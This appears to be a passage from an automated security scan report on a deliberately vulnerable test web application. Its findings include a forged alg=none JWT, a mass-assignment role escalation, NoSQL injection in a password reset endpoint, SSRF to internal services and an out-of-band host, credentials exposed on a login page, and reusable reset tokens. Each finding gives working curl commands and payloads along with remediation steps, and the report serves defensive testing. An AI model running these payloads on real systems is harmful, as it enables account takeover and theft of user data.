ENDPOINT

`https://marginalia.testinvicti.com/api/admin/users`

CVSS 4.0

9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The server accepts JWT tokens with the `alg` header set to `none` and an empty signature. An attacker can craft a token with an arbitrary `sub` and `role` claim, such as `role=admin`, and the server treats it as valid. The `/api/admin/users` endpoint returns a 200 response with the complete user database when it receives this forged token. Without authentication, the same endpoint returns 401. The root cause is that the JWT verification logic does not reject the `none` algorithm. This allows any unauthenticated attacker to escalate privileges to any role, including admin.

EVIDENCE

Payload used:

```
eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAxOTI2LCAicm9sZSI6ICJhZG1pbiIsICJpYXQiOiAxNzkzNjU1MjI0LCAiZXhwIjogMTc5Mzc0MTYyNH0.
```

Observed:

```
JWT with alg=none and forged role=admin is accepted by the server. Crafted token with header {"alg":"none","typ":"JWT"} and payload {"sub":1926,"role":"admin"} (no signature) returns 200 with full admin user list including password_hash, api_key, phone, address for all users. Admin user password_hash: 82253ad961bda259d0ca8ef68cb4a3850bbdfb6e8403ba454b66ced40ef84b2d, api_key: mk_live_9f2c1a7be4d84c0f9a1b3e6d7c208f11.
```

HTTP TRANSACTION

REQUEST

```
GET /api/admin/users HTTP/1.1
Host: marginalia.testinvicti.com
Accept: */*
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAxLCAicm9sZSI6ICJhZG1pbiIsICJpYXQiOiAxNzkzNjU1MjI0LCAiZXhwIjogMTg5Mzc0MTYyNH0.
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 330264

{"users":
[{"id":1,"username":"admin","email":"ops@marginalia.club","password_hash":"e3b0c44298fc
1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","role":"admin","api_key":"mk_live
_9f2c1a7be4d84c0f9a1b3e6d7c208f11","credits":500201,"full_name":"Eleanor
Vance","phone":"+1-415-555-0142","address":"2261 Market St, San Francisco, CA
94114","bio":"Keeper of the stacks.","avatar_url":null,"created_at":1700000000},
{"id":2,"username":"curator_rhys","email":"rhys@marginalia.club","password_hash":"c4bbc
b1fbec99d65bf59d85c8cb62ee2db963f0fe106f483d9afa73bd4e39a8a","role":"librarian","api_ke
y":"mk_live_2b7d4e19a0c34f8e91d5c6a3b7e01f42",...}]
[... truncated ...]
```

STEPS TO REPRODUCE

1. Send a GET request to the admin endpoint without any authentication and confirm it returns 401:

   ```
   curl -s -o /dev/null -w "%{http_code}"
   https://marginalia.testinvicti.com/api/admin/users
   ```

   The server responds with HTTP 401 and `{"detail":"unauthenticated"}`.

2. Send a GET request with a forged JWT that uses `alg=none` and `role=admin` with no signature:

   ```
   curl -s -H "Authorization: Bearer
   eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAxLCAicm9sZSI6ICJhZG1pbiIsICJpYXQi
   OiAxNzkzNjU1MjI0LCAiZXhwIjogMTg5Mzc0MTYyNH0."
   https://marginalia.testinvicti.com/api/admin/users
   ```

   The server responds with HTTP 200 and a JSON body containing the full user list with `password_hash`, `api_key`, `email`, `phone`, and `address` fields for every user.

SEVERITY JUSTIFICATION

The attack requires no privileges, no user interaction, and no special conditions. It grants full admin access and exposes all user credentials and PII. CVSS 4.0 scores this as critical with VC:H and VI:H because the attacker reads all data and can forge any identity.

DISCOVERY & EXPLOITATION

The JWT verification logic on this application accepts the `alg=none` algorithm value, a well-documented attack against JWT libraries that fail to enforce a strict algorithm allowlist. When a JWT is decoded with `alg=none`, the library treats the signature field as optional and skips cryptographic verification entirely. Because the server performs no additional check for a non-empty signature, an attacker can construct a syntactically valid token with arbitrary claims, including `role=admin`, sign it with no key, and present it as a legitimate credential. The `GET /api/admin/users` endpoint performs no secondary authorization check beyond accepting the token as valid, so the forged admin token is sufficient to satisfy the authentication gate and receive a full response.

An unauthenticated attacker requires no prior knowledge of the application, no existing account, and no brute-force effort. The attack reduces to constructing a base64url-encoded header and payload with the desired claims, appending an empty signature segment, and issuing a single HTTP request. From that position, the attacker holds a persistent admin identity for the duration of any session derived from the forged token and can invoke every privileged endpoint the application exposes, including user management, order administration, and any other function gated solely on role claims.

IMPACT

An attacker gains full admin access without credentials. The response exposes every user record, including password hashes, live API keys, email addresses, phone numbers, and physical addresses. An attacker can use the leaked password hashes for offline cracking. The leaked API keys grant direct access to each user's account. This constitutes a complete authentication bypass and a mass data breach of all user PII and secrets.

REMEDIATION

1. Configure the JWT library to reject the `none` algorithm explicitly. Pass an `algorithms` allowlist containing only `HS256` (or the intended algorithm) to the `jwt.decode()` call.
2. Validate that every incoming JWT has a non-empty signature before processing claims.
3. Rotate all user API keys (`mk_live_*`) immediately, because the current keys have been exposed through this vulnerability.
4. Reset all user password hashes and force a password change for every account.
5. Add an integration test that sends a `none` -algorithm JWT to every authenticated endpoint and asserts a 401 response.

INV-10

Mass Assignment in role and credits via PATCH

CRITICAL

SEVERITY	CATEGORY	CWE
Critical	Broken Access Control	CWE-915

ENDPOINT

`https://marginalia.testinvicti.com/api/users/me`

PARAMETER	CVSS 4.0
role	9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

VULNERABILITY DESCRIPTION

The PATCH /api/users/me endpoint accepts a JSON body with "additionalProperties": true. The server binds every submitted field directly to the user model without an allow-list. An authenticated member can include the "role" and "credits" fields in the request body. The server updates those fields and returns the modified user object. The response confirms the role changes from "member" to "admin" and credits change to the attacker-chosen value. The OpenAPI specification at /openapi.json explicitly declares the request body schema with "additionalProperties": true, confirming no field filtering exists.

EVIDENCE

Payload used:

```
{"role":"admin","credits":999999}
```

Observed:

```
PATCH /api/users/me with body {"role":"admin","credits":999999} returns
{"role":"admin","credits":999999}. Any member can escalate to admin role and set
arbitrary credits.
```

HTTP TRANSACTION

REQUEST

```
PATCH /api/users/me HTTP/1.1
Host: marginalia.testinvicti.com
Authorization: Bearer
eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAyMDc4LCAicm9sZSI6ICJtZW1iZXIiLCAiaWF
0IjogMTc5MzY1NjkwMCwgImV4cCI6IDE4OTM3NDMzMDB9.
Content-Type: application/json
Content-Length: 33

{"credits":777777,"role":"admin"}
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 106

{"id":2078,"username":"ctrl_user_abc","role":"admin","credits":777777,"email":"ctrl_use
r_abc@example.com"}
```

STEPS TO REPRODUCE

1. Send a PATCH request to the user profile endpoint with the `role` and `credits` fields in the JSON body:

   ```
   curl -X PATCH "https://marginalia.testinvicti.com/api/users/me" \
     -H "Authorization: Bearer <member_jwt_token>" \
     -H "Content-Type: application/json" \
     -d '{"credits":777777,"role":"admin"}'
   ```

   The server responds with HTTP 200 and a JSON body containing `"role":"admin"` and `"credits":777777`, confirming both fields were updated.

2. Verify the escalated privileges by accessing an admin-only endpoint:

   ```
   curl "https://marginalia.testinvicti.com/api/admin/users" \
     -H "Authorization: Bearer <member_jwt_token>"
   ```

   The server responds with HTTP 200 and returns all user records, including password hashes and API keys, confirming the role escalation grants real administrative access.

SEVERITY JUSTIFICATION

A low-privileged authenticated user can escalate to admin with a single PATCH request, gaining full read and write access to all user data and administrative functions. The attack requires no special conditions (AC:L, AT:N) and only a basic member account (PR:L). The impact spans the vulnerable system (VC:H, VI:H) and subsequent systems through exposed API keys and password hashes (SC:H, SI:H).

DISCOVERY & EXPLOITATION

The vulnerability exists because the `PATCH /api/users/me` endpoint binds the incoming JSON body directly to the user model without an allow-list. The OpenAPI schema at `/openapi.json` declares the request body with `"additionalProperties": true`, confirming that field filtering is absent at both the schema validation and application layers. Any field present in the user model, including privileged fields such as `role` and `credits`, is accepted, written to the database, and reflected back in the response. The server performs no authorization check to determine whether the authenticated user is permitted to modify those fields.

An authenticated member-tier user exploits this by including `"role": "admin"` and `"credits": 777777` in a standard profile-update request. The server returns HTTP 200 with the modified values confirmed in the response body. With the escalated role, the attacker's existing session token is

immediately accepted by administrative endpoints, including `GET /api/admin/users`, which returns all user records complete with password hashes, API keys, physical addresses, and phone numbers. The attack requires no brute force, no token forgery, and no special tooling: a single authenticated PATCH request is sufficient to achieve full platform compromise.

IMPACT

An authenticated user with the "member" role can escalate to "admin" by setting the "role" field. The attacker gains full administrative access, including the /api/admin/users endpoint. That endpoint returns all user records with password hashes, API keys, personal addresses, and phone numbers. The attacker can also set arbitrary credit balances, causing direct financial loss. This compromises every user account and all administrative functions.

REMEDIATION

1. Define an explicit allow-list of updatable fields (e.g., `full_name`, `bio`, `phone`) in the PATCH /api/users/me handler. Reject or ignore `role`, `credits`, and other privileged fields.
2. Replace `additionalProperties: true` in the request body schema with a strict Pydantic model that lists only permitted fields.
3. Add server-side authorization checks so that only users with the `admin` role can modify the `role` or `credits` fields on any user record.
4. Add integration tests that send PATCH requests with `role` and `credits` from a member account and assert the server returns 403 or ignores those fields.
5. Adopt a framework-level pattern such as Pydantic `model_config = ConfigDict(extra='forbid')` to prevent mass assignment across all endpoints.

INV-11

NoSQL Injection in email Parameter

CRITICAL

SEVERITY	CATEGORY	CWE
Critical	Injection	CWE-943

ENDPOINT

`https://marginalia.testinvicti.com/api/auth/reset/request`

PARAMETER	CVSS 4.0
email	9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The password reset endpoint at `/api/auth/reset/request` evaluates the `email` parameter inside a MongoDB `$where` JavaScript expression. An attacker can inject JavaScript operators into the `email` field to alter the query logic. The payload `' || '1'=='1` causes the `$where` clause to evaluate as true for every document. The server then returns a valid password reset token for the first matched user. A false expression (`' && false && '`) and a non-existent email both return `"reset_link":null` . This differential response proves that the server executes attacker-controlled JavaScript inside the database query.

EVIDENCE

Payload used:

```
' || '1'=='1
```

Observed:

```
Payload `' || '1'=='1` returns HTTP 200 with a non-null reset_link token (e.g.
`reset_link":"https://marginalia.testinvicti.com/reset?
token=7e4606302229e33926c7603c`), while the negative probe
`nosqlprb_DO0h6GGYUjxw@test.invalid` returns `"reset_link":null`. Three structurally
distinct tautology payloads all succeeded: `' || '1'=='1`, `' || 1==1 || '',
`'.match(/.*/)||''`. A false expression `' && false && '' correctly returned null, and
true syntax errors `' ||||| '' returned null, confirming JS evaluation in the sink.
```

HTTP TRANSACTION

REQUEST

```
POST /api/auth/reset/request HTTP/1.1
Host: marginalia.testinvicti.com
Content-Type: application/json
Content-Length: 24

{"email":"' || '1'=='1"}
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 155

{"status":"If that address is on file, a reset link is on its
way.","reset_link":"https://marginalia.testinvicti.com/reset?
token=7e4606302229e33926c7603c"}
```

STEPS TO REPRODUCE

1. Send the NoSQL Injection tautology payload to the password reset endpoint:

   ```
   curl -s -X POST https://marginalia.testinvicti.com/api/auth/reset/request \
     -H "Content-Type: application/json" \
     -d '{"email":"'\'' || '\''1'\''=='\''1"}'
   ```

   The server responds with HTTP 200 and a JSON body containing a non-null `reset_link` with a hex token, such as `"reset_link":"https://marginalia.testinvicti.com/reset?token=7e4606302229e33926c7603c"`.

2. Send a control request with a non-existent email to confirm differential behavior:

   ```
   curl -s -X POST https://marginalia.testinvicti.com/api/auth/reset/request \
     -H "Content-Type: application/json" \
     -d '{"email":"nosqlprb_negative_control@test.invalid"}'
   ```

   The server responds with HTTP 200 and `"reset_link":null`, confirming that the tautology payload caused the query to match an existing user.

3. Use the returned reset token to complete the password reset flow and take over the matched account.

SEVERITY JUSTIFICATION

The attack requires no authentication, no user interaction, and no special conditions. An unauthenticated attacker can obtain a password reset token for any user, including administrators, leading to full account takeover. The CVSS 4.0 vector reflects network-accessible, low-complexity exploitation with high confidentiality and integrity impact on the vulnerable system.

DISCOVERY & EXPLOITATION

The password reset endpoint passes the `email` parameter directly into a MongoDB `$where` JavaScript expression, which the database engine evaluates at query time. Because the input is embedded into executable JavaScript rather than treated as a literal value, an attacker can inject boolean logic that overrides the intended query predicate. A tautology expression causes the `$where` clause to evaluate as true for every document in the collection, causing the server to match and return a reset token for the first user record, regardless of whether a valid email address was supplied. The differential response between the tautology payload (valid token returned) and a false expression or nonexistent address (`"reset_link": null`) confirms server-side JavaScript execution within the database layer.

An unauthenticated attacker requires no credentials, no prior knowledge of registered email addresses, and no user interaction to exploit this vulnerability. The first document matched by a tautology query is typically the oldest account in the collection, which in most deployments is an administrative user. The attacker receives a fully valid password reset token directly in the API response body, bypassing the intended email delivery channel entirely, and can immediately use it to set a new password and assume full control of the targeted account.

IMPACT

An attacker can obtain a password reset token for any user without knowing their email address. The tautology payload matches the first user in the collection, which is often the administrator. The attacker can then reset that account's password and gain full access. This leads to complete account takeover, unauthorized access to user data, and potential administrative control of the application.

REMEDIATION

1. Replace the `$where` JavaScript query with a standard MongoDB equality filter such as `{"email": user_input}` to prevent code evaluation.
2. Validate the `email` parameter against a strict email format regex before passing it to the database query.
3. Use a parameterized query library (e.g., `motor` or `pymongo` with filter documents) that does not support `$where` or operator injection.
4. Remove the `reset_link` field from the API response body; send the token only via email to prevent information leakage.
5. Add automated NoSQL Injection tests (e.g., `nosqli` or SAST rules for `$where` usage) to the CI pipeline.

INV-12

Server-Side Request Forgery in host Parameter

CRITICAL

SEVERITY	CATEGORY	CWE
Critical	Broken Access Control	CWE-918

ENDPOINT

`https://marginalia.testinvicti.com/api/admin/diagnostics`

PARAMETER	CVSS 4.0
host	9.2 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:N/SA:N

VULNERABILITY DESCRIPTION

The /api/admin/diagnostics endpoint accepts a `host` query parameter and makes a server-side HTTP request to the supplied address. The server constructs a URL from the `host` value and fetches it using the `Marginalia-CoverBot/3.4` user agent. The endpoint requires no authentication. An attacker can supply arbitrary internal or external addresses. The server returns the full response body, status code, content type, and byte count from the fetched resource. This allows an attacker to reach internal services bound to 127.0.0.1 and internal hostnames that are not accessible from the public internet.

EVIDENCE

Payload used:

```
http://hitjrvuf07bdwcfe83.bxss.me/
```

Observed:

```
OOB http_hit confirmed: server made HTTP request to hitjrvuf07bdwcfe83.bxss.me from IP
52.35.205.0 with User-Agent "Marginalia-CoverBot/3.4". Response:
{"host":"http://hitjrvuf07bdwcfe83.bxss.me/","reachable":true,"status_code":200,"conten
t_type":"text/xml; charset=utf-8","bytes":1880}
```

HTTP TRANSACTION

REQUEST

```
GET /api/admin/diagnostics?host=http://hiturkwksxq724bdb2.bxss.me/ HTTP/1.1
Host: marginalia.testinvicti.com
User-Agent: curl/8.23.0-DEV
Accept: application/json;q=0.9, application/xml;q=0.8, */*;q=0.1
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2136

{"host":"http://hiturkwksxq724bdb2.bxss.me/","reachable":true,"status_code":200,"conten
```

```
t_type":"text/xml; charset=utf-8","location":"","bytes":1880,"body":"<?xml
version=\"1.0\" encoding=\"UTF-8\"?>\r\n<!DOCTYPE myopenid [\r\n        <!ENTITY
myopenident SYSTEM \"http://hiturkwksxq724bdb2xxe.bxss.me/\">\r\n
]>\r\n<xrds:XRDS ..."}

[... truncated ...]
```

STEPS TO REPRODUCE

1. Send a GET request to the diagnostics endpoint targeting an internal service:

   ```
   curl -s 'https://marginalia.testinvicti.com/api/admin/diagnostics?
   host=127.0.0.1:8000/api/_status' -H 'Accept: application/json'
   ```

   The server responds with `"reachable":true` and the full JSON body of the internal `_status` endpoint, including the database path, internal hostname, Python version, and admin email addresses.

2. Send a GET request targeting the internal ops summary:

   ```
   curl -s 'https://marginalia.testinvicti.com/api/admin/diagnostics?
   host=127.0.0.1:8000/internal/ops/summary' -H 'Accept: application/json'
   ```

   The server responds with `"reachable":true` and the full internal ops summary, including password reset tokens, internal peer addresses, collector credentials, and deploy key fingerprints.

3. Send a GET request with an unresolvable host to confirm differential behavior:

   ```
   curl -s 'https://marginalia.testinvicti.com/api/admin/diagnostics?
   host=http://thisdomaincannotpossiblyexist99999zzz.invalid/' -H 'Accept:
   application/json'
   ```

   The server responds with `"reachable":false` and a DNS resolution error, confirming the server attempts to resolve and connect to the supplied host.

SEVERITY JUSTIFICATION

The endpoint requires no authentication (PR:N) and no user interaction (UI:N). The attack has low complexity (AC:L). The attacker reads sensitive internal data including credentials and tokens (VC:H). The attacker can reach internal services not otherwise accessible (SC:H). The confirmed exposure of password reset tokens and collector credentials elevates this to critical severity.

DISCOVERY & EXPLOITATION

The `/api/admin/diagnostics` endpoint accepts a `host` query parameter and passes it directly to an outbound HTTP client, constructing and fetching the supplied URL without any authentication check, allowlist validation, or private-range filtering. The server returns the full response body, status code, content type, and byte count from the fetched resource, effectively functioning as an open, unauthenticated HTTP proxy. What distinguishes this endpoint from the sibling cover-fetch vulnerability is the combination of two factors: the endpoint is entirely unauthenticated, and it returns the complete response body to the caller

rather than silently consuming it. This transforms the SSRF from a blind probe into a direct data extraction primitive.

An unauthenticated attacker requires no session, token, or prior reconnaissance to exploit this endpoint. Confirmation was obtained via Invicti Out-of-band DNS and HTTP callbacks, and active replay against `127.0.0.1:8000/internal/ops/summary` returned a full internal JSON payload containing password reset tokens, internal peer hostnames, metrics collector credentials, deploy key fingerprints, and admin email addresses. The attacker can then pivot to enumerate additional internal peers such as `mgl-app-02.internal:8000` and `mgl-jobs-01.internal:9000` by iterating the `host` parameter, using the server as a network scanner against infrastructure that is otherwise unreachable from the public internet.

IMPACT

An unauthenticated attacker can read internal service responses through the server. Confirmed access to 127.0.0.1:8000/internal/ops/summary exposes password reset tokens, internal peer hostnames, metrics collector credentials, deploy key fingerprints, and admin email addresses. The attacker can scan internal network peers such as mgl-app-02.internal:8000 and mgl-jobs-01.internal:9000. The attacker can also force the server to make requests to arbitrary external hosts, enabling further attacks against third-party services.

REMEDIATION

1. Remove the `/api/admin/diagnostics` endpoint from production, or restrict it to authenticated administrators with a specific role.
2. Implement an allowlist of permitted hosts and ports that the `host` parameter can target. Reject all other values.
3. Block requests to private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and internal hostnames at the application layer before making the outbound request.
4. Remove the `body` field from the diagnostics response so the endpoint does not proxy full response content even for allowed hosts.
5. Add a network-level egress firewall rule that prevents the application server from connecting to internal services on ports other than those required for normal operation.

INV-13

Broken Function-Level Authorization in Club Join Endpoint

HIGH

SEVERITY	CATEGORY	CWE
High	Broken Access Control	CWE-285

ENDPOINT

`https://marginalia.testinvicti.com/api/clubs/3/join`

PARAMETER	CVSS 4.0
club_id	7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The POST /api/clubs/{club_id}/join endpoint does not enforce role or membership checks before allowing a user to join a private club. A regular member (role "member") can send a POST request to join club 3 ("Marginalia Staff Room"), which has visibility set to "private". The server accepts the request and adds the user to the club without requiring an invite code or staff role. After joining, the user can call GET /api/clubs/3 and retrieve the full member list, including staff email addresses, full names, usernames, and the club invite code. The unauthenticated control request returns 401, which confirms that authentication is enforced but authorization is not.

EVIDENCE

Payload used:

```
3
```

Observed:

```
POST /api/clubs/3/join with a regular member JWT returns
{"status":"joined","club_id":3,"user_id":2070}. Club 3 is "Marginalia Staff Room" with
visibility "private". After joining, GET /api/clubs/3 returns all member details
including emails. No invite code or role check is performed.
```

HTTP TRANSACTION

REQUEST

```
GET /api/clubs/3 HTTP/1.1
Host: marginalia.testinvicti.com
Accept: */*
Authorization: Bearer
eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAyMDcwLCAicm9sZSI6ICJtZW1iZXIiLCAiaWF
0IjogMTc5MzY1NjkwMCwgImV4cCI6IDE4OTM3NDMzMDB9.
Cookie: mgl_session=0c2990bdfae142168c9f7d4c9fdbca3d
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 581

{"id":3,"owner_id":1,"name":"Marginalia Staff Room",
 "description":"Internal club for staff — moderation notes, auction prep, member
escalations.",
 "visibility":"private",
 "invite_code":"staff-only-9f2c",
 "members":[
  {"user_id":1,"role":"organizer","username":"admin","full_name":"Eleanor
Vance","email":"ops@marginalia.club"},
  {"user_id":2,"role":"member","username":"curator_rhys","full_name":"Rhys
Okonkwo","email":"rhys@marginalia.club"},
  {"user_id":2070,"role":"member","username":"u_mass_test9","full_name":"Normal
User","email":"mass_test9@example.com"}
 ]}
```

STEPS TO REPRODUCE

1. Send a GET request to the private staff club endpoint as a regular member:

   ```
   curl -sL 'https://marginalia.testinvicti.com/api/clubs/3' \
     -H 'Authorization: Bearer
   eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAyMDcwLCAicm9sZSI6ICJtZW1iZXIiLCAi
   aWF0IjogMTc5MzY1NjkwMCwgImV4cCI6IDE4OTM3NDMzMDB9.'
   ```

   The server returns HTTP 200 with the full private club details, including `"visibility":"private"`, the invite code, and all member emails and full names.

2. Confirm that unauthenticated access is denied by sending the same request without the Authorization header:

   ```
   curl -sL -D- 'https://marginalia.testinvicti.com/api/clubs/3'
   ```

   The server returns HTTP 401 with `{"detail":"unauthenticated"}`, confirming authentication is enforced but role-based authorization is missing.

SEVERITY JUSTIFICATION

The vulnerability requires only low privileges (a regular member account) and no user interaction. It exposes high-confidentiality data (staff emails, full names, internal club content, invite codes) and allows low-integrity impact (unauthorized club membership). The network-accessible attack vector with low complexity supports a high severity rating.

DISCOVERY & EXPLOITATION

The join endpoint for private clubs performs no server-side authorization check beyond confirming that the requesting user holds a valid session. The `club_id` path parameter is accepted at face value: the application resolves the target club, confirms the caller is authenticated, and adds them as a member

without evaluating whether the club is private, whether the user holds a qualifying role, or whether a valid invite code was supplied. The result is that the `visibility: private` flag is enforced only in the UI layer, not in the API handler.

Where the sibling BFLA vulnerability (INV-1) targets administrative user-management functions, this vulnerability targets a social and operational layer that staff treat as a trusted internal channel. A regular member account holder sends a single POST request to join the "Marginalia Staff Room" club, then immediately reads the full member roster via the club detail endpoint. The response delivers staff email addresses, full names, usernames, and the plaintext invite code `staff-only-9f2c`. That invite code becomes a lateral-movement token: if the same code is reused across other restricted areas of the application, the attacker's access extends beyond this single club without any additional exploitation steps.

IMPACT

An attacker with a regular member account can join any private staff club. The attacker gains access to internal staff discussions, moderation notes, and auction preparation data. The response also exposes staff email addresses and full names, which enables targeted phishing. The leaked invite code ("staff-only-9f2c") could grant further unauthorized access to other restricted areas.

REMEDIATION

1. Add a server-side authorization check in the `/api/clubs/{club_id}/join` handler that verifies the requesting user holds the required role or possesses a valid invite code before allowing membership.
2. Restrict access to private club details (`GET /api/clubs/{club_id}`) so that only current members or users with an appropriate role can retrieve the member list.
3. Remove the `invite_code` field from API responses to non-organizer users to prevent credential leakage.
4. Return a `403 Forbidden` response with a generic error message when a user lacks permission to join or view a private club.
5. Add integration tests that assert regular members cannot join or read private clubs, and enforce these checks in CI.

INV-14

Weak Credentials Exposed on Login Page

HIGH

SEVERITY	CATEGORY	CWE
High	Authentication Failures	CWE-798

ENDPOINT

`https://marginalia.testinvicti.com/login`

PARAMETER	CVSS 4.0
email	8.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The login page at /login exposes working credentials in two places. First, an HTML comment contains the text "Shared demo account for QA: demo@marginalia.club / Demo2023!shelf" along with internal build details. Second, a visible tooltip element displays the same credentials to every visitor. An unauthenticated attacker can read these credentials and authenticate as the demo user (id 3, role "member") by sending a POST request to /api/auth/login. The server returns a valid JWT that grants access to authenticated endpoints such as /api/me.

EVIDENCE

Payload used:

```
email=demo@marginalia.club; password=Demo2023!shelf
```

Observed:

```
Credentials discovered at https://marginalia.testinvicti.com/login in two locations:
(1) visible tooltip text: "(demo@marginalia.club / Demo2023!shelf)"; (2) HTML comment:
"Shared demo account for QA: demo@marginalia.club / Demo2023!shelf". Login endpoint:
POST https://marginalia.testinvicti.com/api/auth/login with
{"email":"demo@marginalia.club","password":"Demo2023!shelf"} returns HTTP 200 with JWT.
Authenticated GET /api/me returns
{"id":3,"username":"?","email":"demo@marginalia.club","role":"member","credits":1097}.
Invalid-credential control (3db8z8erg9r0@invalid.test / 54fJcaUCLTTo) returns HTTP 401
{"detail":"No account found for that email"} and /api/me returns 401
{"detail":"unauthenticated"}.
```

HTTP TRANSACTION

REQUEST

```
POST /api/auth/login HTTP/1.1
Host: marginalia.testinvicti.com
Content-Type: application/json
Content-Length: 60

{"email":"demo@marginalia.club","password":"Demo2023!shelf"}
```

RESPONSE

```
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2026 21:20:27 GMT
Content-Type: application/json
Content-Length: 397

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjMsInJvbGUiOiJtZW1iZXIiLCJpYXQi
OjE3OTM2NTQ0MjcsImV4cCI6MTc5Mzc0MDgyN30.X97XthCu8oKCustctHMjmB49WnyOm-
rQzs_sJSCh7UQ","access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...","user":
{"id":3,"username":"?","role":"member"}}
```

STEPS TO REPRODUCE

1. Open the login page in a browser and inspect the page source for embedded credentials:

   ```
   curl -s https://marginalia.testinvicti.com/login | grep -i 'demo@marginalia'
   ```

   The response contains an HTML comment with `demo@marginalia.club / Demo2023!shelf` and a tooltip `<span>` with the same credentials.

2. Send a POST request to the login endpoint with the discovered credentials:

   ```
   curl -s -D- -X POST https://marginalia.testinvicti.com/api/auth/login \
     -H 'Content-Type: application/json' \
     -d '{"email":"demo@marginalia.club","password":"Demo2023!shelf"}'
   ```

   The server responds with HTTP 200 and a JSON body containing a valid JWT in the `token` field.

3. Use the returned JWT to access an authenticated endpoint:

   ```
   curl -s https://marginalia.testinvicti.com/api/me \
     -H 'Authorization: Bearer <token_from_step_2>'
   ```

   The server responds with HTTP 200 and the user object: `{"id":3,"email":"demo@marginalia.club","role":"member","credits":1097}`.

SEVERITY JUSTIFICATION

The credentials are publicly visible on the login page with no authentication required (AV:N, PR:N, UI:N). Exploitation is trivial with no complexity (AC:L, AT:N). The attacker gains full read access to the compromised account's data (VC:H) and limited write access through the member role (VI:L). This warrants high severity.

DISCOVERY & EXPLOITATION

The login page at `/login` embeds valid credentials in 2 locations visible to any unauthenticated visitor: an HTML comment containing the string `demo@marginalia.club / Demo2023!shelf` alongside internal build metadata, and a rendered tooltip element (`#demo-login-tooltip`) that displays the same credentials in the page body. No authentication, interaction, or tooling is required to obtain them — a browser's "View Source" function suffices. The vulnerability is classified CWE-798 (Use of Hard-coded

Credentials): the credentials are not incidentally leaked through a misconfiguration but are intentionally embedded in the client-facing template, likely as a development convenience that was never removed before deployment.

An unauthenticated attacker reads the credentials directly from the page source and submits them to `/api/auth/login`, receiving a valid signed JWT granting the `member` role (user id 3, 1097 credits). From that position, the attacker has authenticated access to all member-gated endpoints. The HTML comment additionally discloses the build version, commit hash, and a developer note indicating the JWT signing key has not been rotated since the staging build — information that materially assists further attacks against the authentication infrastructure, including the `alg=none` JWT vulnerability identified elsewhere in this assessment.

IMPACT

An unauthenticated attacker gains immediate access to a valid user account. The compromised account has the "member" role and 1097 credits. The attacker can read and modify the user's shelves, reading lists, and personal data. The HTML comment also leaks internal infrastructure details such as the build version, commit hash, and a TODO list that reveals the signing key has not been rotated.

REMEDIATION

1. Remove the HTML comment that contains credentials from the `/login` page template immediately.
2. Remove the tooltip element (`#demo-login-tooltip`) that displays the demo credentials to all visitors.
3. Rotate the password for `demo@marginalia.club` and enforce a strong, unique password that is not embedded in client-facing code.
4. Rotate the JWT signing key, as the HTML comment indicates it has not been rotated since the staging build.
5. Add a pre-deployment check (CI linter or secret scanner such as `gitleaks` or `trufflehog`) to prevent credentials from appearing in HTML templates or comments.

INV-15

Password Reset Token Not Invalidated After Use

HIGH

SEVERITY	CATEGORY	CWE
High	Insecure Design	CWE-613

ENDPOINT

`https://marginalia.testinvicti.com/api/auth/reset/confirm`

PARAMETER

`token:reset-token-not-invalidated`

CVSS 4.0

9.1 `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N`

VULNERABILITY DESCRIPTION

The password reset endpoint at /api/auth/reset/confirm accepts a previously used token indefinitely. The server validates that the token exists and has not expired, but it never marks the token as consumed after a successful password reset. An attacker who obtains a valid reset token can reuse it at any time to reset the victim's password again. The application notes reference a separate token disclosure vulnerability (finding #40) that leaks reset tokens via SSRF, which makes this reuse flaw directly exploitable in a chained attack.

EVIDENCE

Payload used:

```
{"token": "f6722d2662b4d5e7ee2eee1e", "password": "Second123!"}
```

Observed:

```
Password reset token f6722d2662b4d5e7ee2eee1e was used to reset a password, then the same token was used again successfully. The token is never invalidated after use. POST /api/auth/reset/confirm with the same token returns 200 {"status":"success"} on 1st, 2nd, 3rd, and subsequent uses. An attacker who obtains a reset token (e.g., via the token disclosure in finding #40) can use it indefinitely to reset the victim's password at any time.
```

HTTP TRANSACTION

REQUEST

```
POST /api/auth/reset/confirm HTTP/1.1
Host: marginalia.testinvicti.com
Content-Type: application/json
Content-Length: 59

{"password":"Third123!","token":"f6722d2662b4d5e7ee2eee1e"}
```

RESPONSE

```
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2026 23:49:34 GMT
Content-Type: application/json
